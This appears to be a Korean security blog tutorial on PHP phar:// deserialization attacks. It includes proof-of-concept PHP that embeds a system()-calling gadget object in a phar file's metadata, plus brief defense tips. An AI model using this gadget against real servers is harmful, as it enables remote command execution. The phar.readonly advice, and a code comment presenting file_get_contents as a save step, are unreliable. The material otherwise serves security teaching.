PHP 역직렬화 취약점과 Phar 파일을 활용한 공격 사례
오늘은 PHP에서 자주 발생하는 역직렬화 취약점에 대해 알아보고, Phar 파일을 활용해 어떻게 이를 악용할 수 있는지 설명드릴게요. 특히, 해킹 기법과 방어 방법을 간단히 정리하니, 보안에 관심 있으신 분들께 유용할 거예요! 💻
1. PHP 역직렬화 취약점이란?
PHP의 역직렬화는 직렬화된 데이터를 해제하면서 객체를 생성해주는 편리한 기능이에요. 하지만, 사용자 입력이 검증 없이 역직렬화될 경우, 악성 객체가 서버에서 동작할 수 있는 큰 보안 위험이 발생합니다. 특히 파일을 처리하는 과정에서 PHP는 내부적으로 역직렬화를 수행하곤 하는데요, 이때 직렬화된 데이터에 악성 코드를 포함시켜 공격할 수 있어요.
PHP의 file_exists()
, fopen()
, file_get_contents()
와 같은 특정 파일 관련 함수들은 phar://
프로토콜로 접근할 때 내부 메타데이터를 자동으로 역직렬화합니다. 이때, 메타데이터에 포함된 악성 객체가 실행되면서 시스템에 손상을 줄 수 있는 것이죠.
2. 공격 시나리오: Phar 파일을 활용한 역직렬화 공격
이번 공격 시나리오는 Phar 파일에 악성 객체를 포함하여 서버에 업로드하고, 파일을 접근하는 과정에서 자동으로 역직렬화를 유도하는 방식이에요.
- 악성 클래스 정의: 악성 코드를 실행할 수 있는 클래스를 정의합니다.
- Phar 파일 생성: Phar 파일의 메타데이터에 악성 객체를 포함시키고, 특정 헤더를 추가해 파일 형식 검사를 우회합니다.
- 파일 업로드 및 접근: 서버에서 이 파일에 접근할 때 역직렬화가 발생하면서 악성 코드를 실행하도록 유도합니다.
3. 예제 코드: Phar 파일 생성 및 악성 객체 설정
다음은 system
명령어를 실행하는 악성 클래스를 활용해 Phar 파일을 생성하는 예제 코드입니다. 이 코드는 공부 목적으로만 사용하시고, 실제 시스템에서는 절대 실행하지 마세요!
<?php
// 악성 클래스 정의
class MaliciousClass {
public $command = 'system';
public $arg = 'whoami'; // 예시 명령어로 사용자 정보를 출력
function __destruct() {
call_user_func($this->command, $this->arg);
}
}
// Phar 파일 생성
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'test content'); // 더미 데이터 추가
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 악성 객체를 메타데이터에 포함
$maliciousObject = new MaliciousClass();
$phar->setMetadata($maliciousObject);
$phar->stopBuffering();
// 최종 파일 저장
file_get_contents('malicious.phar');
위 코드로 생성된 파일은 내부에 악성 객체가 포함되어 있습니다. 이 파일을 업로드하고 서버에서 file_exists()
, file_get_contents()
등의 함수를 통해 접근하게 되면 자동으로 역직렬화되어, 메타데이터에 포함된 악성 코드가 실행됩니다.
4. 방어 방법
역직렬화 취약점을 방어하기 위한 방법을 소개할게요:
- Phar 파일 업로드 제한:
php.ini
파일에서phar.readonly
옵션을 활성화하여 Phar 파일 생성을 제한합니다. - 데이터 검증: 사용자로부터 받은 입력값을 항상 검증하고, 의심스러운 객체나 직렬화된 데이터는 처리하지 않도록 해요.
- 역직렬화 사용 주의: 필요하지 않은 경우엔 역직렬화를 지양하고, 사용할 때도 안전한 데이터만 처리해야 합니다.
PHP의 Phar 파일을 활용한 역직렬화 공격은 상대적으로 간단하지만, 피해는 매우 클 수 있는 공격이에요. 따라서 항상 코드에 주의를 기울이고, 보안 설정을 강화해두는 것이 중요해요! 🤓
궁금한 점이 있다면 언제든지 물어보세요. 추가 정보가 필요하다면 관련 내용을 검색해서 도와드릴게요! 😊